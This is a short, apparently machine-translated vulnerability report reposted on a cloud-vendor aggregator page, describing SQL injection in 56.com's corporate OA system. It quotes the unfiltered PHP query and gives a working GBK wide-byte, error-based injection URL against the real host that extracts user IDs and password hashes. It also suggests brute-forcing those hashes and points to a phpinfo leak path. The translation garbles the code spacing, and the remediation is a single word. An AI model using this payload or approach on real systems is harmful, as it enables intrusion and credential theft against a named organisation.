56. Web OA system SQL Injection

Source: Internet
Author: User

56. Web OA system SQL Injection

Http://oa.corp.56.com is the OA system

Ispirit/check_secure_key.php does not filter the USERNAME parameter, leading to the SQL injection vulnerability.

$ USERNAME = $ _ GET ['username'];

$ Query = "SELECT SECURE_KEY_SN from USER where USER_ID = '". $ USERNAME ."'";

$ Cursor = exequery (TD: conn (), $ query );

Although magic_quotes_gpc is enabled, it can be injected using GBK width bytes.

Http://oa.corp.56.com/ispirit/check_secure_key.php? USERNAME = % df % 27and (select % 201% 20 from % 20 (select % 20 count (*), concat (select % 20 concat (user_id, 0x3b, password) % 20 from % 20 user % 20 order % 20by % 20uid % 20 limit % ,,1), floor (rand (0) * 2 )) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x) a) % 23

Brute-force user password hash
Send another phpinfo message Leakage

Http://oa.corp.56.com/inc/php.php? Mya_password = qiqiphp




Solution:

Filter

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.